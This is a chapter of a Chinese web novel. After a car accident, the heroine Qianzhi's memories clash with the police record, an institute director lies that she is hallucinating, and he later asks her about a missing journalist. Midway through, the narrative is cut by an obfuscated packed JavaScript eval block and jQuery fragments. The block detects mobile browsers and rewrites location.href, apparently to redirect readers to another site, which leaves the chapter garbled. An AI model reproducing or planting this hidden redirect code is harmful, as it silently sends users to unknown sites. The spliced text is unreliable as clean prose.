12. 幻觉
作品:《仿生囚徒》 研究院某个房间内,浅枝迷迷糊糊醒来,就看见许新寒坐在床边,正一眨不眨地盯着自己,和她最初醒来时一模一样。
“又不记得我了吗?”许新寒伸手想要探她额头的温度。
浅枝眨了眨眼:“我没有失忆,新寒。”
然后她看见许新寒伸出的那只手停在了空中,他的眸中迸发出一丝亮光,随即盛满了双眼。
“真好。”他伸手抚上她的脸颊,仔细端详着,似乎在确认面前这个姑娘是不是真的她。
浅枝的大脑如同升级一般以片段的形式更新记忆,昏迷前的场景一幕幕浮现,她看见自己出了车祸,现场还死了一个姑娘。心虚、恐慌、后怕、绝望,无数的情绪从心底生出,缠绕在一起成为一团乱麻。
“你今天原本准备坐车去哪里?”许新寒问她。
出国,机场。她猛地从脑海中抽出最要紧的那根思绪,是了,她是要去机场的。阿乔说会等她二十分钟,但只有二十分钟,她抬手想看一眼时间,却发现表不在腕上。
“现在几点了?”
“十二点三十一分。”
她错过了,这是发生车祸时就注定的结局。难过和失望的情绪从乱麻中被人拔出,不断生长上涌,很快就淹没了她的胸口、喉咙和大脑,她失神地望着天花板,什么都想不清楚。
得不到回答,许新寒眼中的亮光逐渐熄灭,换成了幽不见底的寂静深潭。
这时屋外叩门声,两名来录笔录的交警和罗谨微正站在门口。
“打扰了。”三人走进房间。许新寒和罗谨微交换了一个眼神,回头看了一眼浅枝后,转身离开房间。
房间内剩下两名交警和浅枝罗谨微四人,交警按例问询。
“我是九点一十出的门,坐的是一辆蓝色卡地……最后看的时间是九点三十一分,那个时候我听到有人在尖叫,然后是一辆棕红色的卡车朝我这边撞过来,然后我就晕了。”浅枝如实回答。
“是蓝色卡地和棕红色卡车?”交警又询问了一遍,“确定没有看错吗?”
为什么问我有没有看错,难道自己的记忆不对?浅枝又仔细回忆了一遍,确定自己没有记错。
见交警做完笔录准备离开,她终于忍不住问出口:“请问现场还有和我一样受伤的人吗?或者,有人死了吗?”
交警惊讶回头:“没有人死亡,你是不是还看见了什么?”
“我看见一个姑娘好像也出了车祸,不过场景太模糊,她的长相我没有看清。”浅枝隐瞒了那道和梦中极为相似的声音,不科学,她想警察是不会信的。
两个交警对视一眼,都从对方神情中看到了震惊。
其实在之前的笔录中,他们就已经发现不对劲了。因为浅枝乘坐的分明是一辆黄色卡地,撞她的是一辆黑色卡车,这些都和她描述中的颜色不一样,更别提事故现场受伤的只有她一个人了。
两人应付完浅枝后,在门外询问罗谨微:“罗院长,如果她没有说谎的话,那么就是她的记忆出现了问题,这是怎么一回事?”
罗谨微叹息道:“她原本就有脑癌,虽然治愈了,但留下了失忆的后遗症。而且,如果一个人遭遇重大伤害,可能会出现视觉和听觉方面的紊乱,比如幻视幻听等,有的甚至可以将自己的形象投射到外部物体上,比如民间传闻中的‘灵魂出窍’。”
“所以她这是出现幻觉了?”
“嗯,这不是第一次了,对她来说是很常见的。”罗谨微一本正经地撒谎。
听了罗谨微的权威解释,两名交警也放下心来,整理好笔录后就离开了研究院。
自从录完笔录后,许新寒就不知道去了哪里,一天都没有出现,浅枝给他发消息也只是换来简单的应付。这让她想起了上次两人因为全家福产生的矛盾,她的心很不安:许新寒会因此对自己失望吗?
浅枝错过了去机场的时间,手里又没有乔的联系方式,尽管她和卫执发了信息,回信仍旧石沉大海。乔说过会等她一次,那是卫执的意思,现在很明显,卫执恐怕不相信她会来找自己了。
回国的机会错失交臂,对于浅枝来说,这是比见到许新寒失望更加难以接受的事。她不由得去想补救办法,如果没有了乔的引荐,她自顾自去了芬兰,父亲会见自己吗?
车祸并不严重,她也没有留下伤口,检查完身体后她就急匆匆地想回家。但是罗谨微留下了她,他说浅枝毕竟受了惊吓,出现心悸,需要留在研究院里休养。
她在研究院里待了三天,许新寒一次都没有出现过。罗谨微也是,只安排了人每天来房间记录下她的各项身体数据。浅枝心里记挂着昏迷前看到的那一幕,即使罗谨微告诉她那不过是一场幻觉,她还是托了人际关系广泛的陈凌帮自己调查,看看自己是否可能在以前看见过这样一场车祸。
蓝天上飘着厚厚的云层,看不见太阳,即使在初夏,天气也还算凉爽。浅枝坐在藤蔓秋千上思考今后的打算,当年的真相她是一定要弄清楚的,谁都不能阻挠她。
“卫小姐。”一道温和的男声打断了她的思绪,她抬头,是多日不见的罗谨微。他今天穿着一身简约的黑白休闲装,表情闲适。
“哦,是院长。”浅枝突然有片刻的怔愣,回过神后起身给他搬了一个小板凳。
“不用麻烦了,”罗谨微还是接过板凳坐了下来,看着她的神情有些担忧,“卫小姐这几天感觉怎么样,还有没有不适的地方?”
浅枝伸展着胳膊做了一下拉伸,又看向罗谨微:“挺好的,我觉得可以出院了。”
“为什么着急出院?”罗谨微又问。
“在这里很无聊,”她抬起头,眯着一只眼追随漂浮的白云,“许新寒也不在。”
罗谨微陪她坐了一会儿,和她简单了聊了聊身体的恢复情况。不知道是不是她的错觉,浅枝感觉罗谨微似乎温柔了一些,也更有耐心去听她讲话,于是她又提到恢复记忆的事。
“快了,我正在研究针对你失忆的治疗方案。”罗谨微安慰道。
“谢谢院长。”浅枝客气微笑。
罗谨微察觉出浅枝的情绪变化,她似乎对自己更疏离了。他考虑了一会儿,从口袋里拿出一张照片递给她:“卫小姐,这个人你有印象吗?”
“嗯?”浅枝疑惑接过照片,
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17050040|194805||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
仔细打量。
是一张单人证件照,照片中是一个较为清秀的年轻姑娘。她扎着一个简约马尾辫,露出光洁的额头,一双眼睛黑白分明,正开心地笑着。不是客气礼貌的微笑,而是一种直达人心底的真诚笑意。
罗谨微一眨不眨地盯着浅枝,眼底正涌出一种名为期待的情绪,可在期待之外,似乎还有一点不易让人察觉的恐慌。
“她是谁?”浅枝捏着照片细细看着,似乎有一种既熟悉又陌生的感觉。
“她叫俞昭昭,是一名记者。”俞昭昭,她愣愣地咀嚼着这个名字,心中忽然泛起一阵难以言说的悲伤。
“我……”浅枝摇摇头,不知道该说些什么,半晌才抬起头看向罗谨微,“院长为什么给我看她的照片,我和她曾经认识吗?”
罗谨微只是叹了一口气:“她失踪了,我在找她。”
“什么?”浅枝大惊,立即噼里啪啦开口,“她什么时候失踪的,在哪里失踪的?报警了吗?社会关系都排查了吗?”
“呃,”罗谨微明显愣了半晌,“失踪很久了,报警了,还没找到。我现在只是在碰运气,希望能遇到见过她的人。”
浅枝神情忧郁:“这样说起来,我好像对她有一丝熟悉的感觉。或许我曾经真的见过她一面,不过只能等我记忆恢复才能想起来了。”
罗谨微勉强笑了笑,反倒安慰她:“也不一定见过,你别多想,先照顾好自己的身体。”
浅枝点点头,不多久罗谨微就以工作繁忙为由离开了花园,留下她一个人继续在花园里晃悠。她看着罗谨微的背影,总觉得他有了一些变化,但是具体又说不清楚。
虽然罗谨微以她身体还未恢复为由不肯告诉她更多关于俞昭昭的信息,她心里还是很在意,于是找了陈凌去调查。
得知浅枝出了车祸,陈凌又气又急,责怪她没事后为什么不第一时间给自己发信息,又嚷嚷着要立即飞回来看她。浅枝一通好说歹说才平复了陈凌的情绪,这才和她说起找人的事情来。
“没听过这个名字。”陈凌说,大概是一个没什么名气和资历的小记者。这一点浅枝也知道,罗谨微走后她就把这人查了个遍,同名同姓的也多,如果不是记者这一身份,她还真不好查。
俞昭昭,户籍终南市,本科学历,毕业于旬安大学。她毕业后就进了旬安日报社工作,到现在还是一个籍籍无名的普通记者。浅枝在网上找到了她写的一些文章,应该是一个文娱记者。说起来绘画也属于文娱类,文娱记者这份工作和自己倒是有几分关系,只是不知道自己曾经是不是见过她。
“我觉得可能性非常小,”陈凌说,“去年你去旬安的时候不是身患重病吗,哪有时间接受采访啊。”
浅枝感觉自己被陈凌说服了,但她还是请求陈凌帮忙找一下俞昭昭。
“好吧,晚点把资料发给你。对了,上次你说的那个车祸,我找人查了祝岭近一年的车祸记录,都没有相似的情况。如果不在祝岭,全国这么多城市,恐怕不太好查。”
浅枝有些失落,但又很快收拾好心情:“那就先不查车祸的事了,或许真的只是一个幻觉吧。”

